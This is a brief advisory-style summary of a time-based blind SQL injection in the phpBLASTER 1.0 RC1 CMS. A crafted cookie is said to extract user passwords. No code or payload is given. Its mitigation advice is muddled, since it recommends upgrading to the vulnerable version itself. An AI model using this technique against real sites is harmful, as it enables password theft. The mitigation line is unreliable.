phpBLASTER 1.0 RC1 Blind SQL Injection Exploit

This exploit allows an attacker to gain access to the password of a user in the phpBLASTER 1.0 RC1 CMS. The exploit uses a blind SQL injection vulnerability to gain access to the password of the user. The exploit sends a specially crafted HTTP request with a malicious cookie to the server. If the cookie is accepted, the server will take more time to respond, indicating that the exploit was successful.

Mitigation:

Upgrade to the latest version of phpBLASTER 1.0 RC1 CMS.
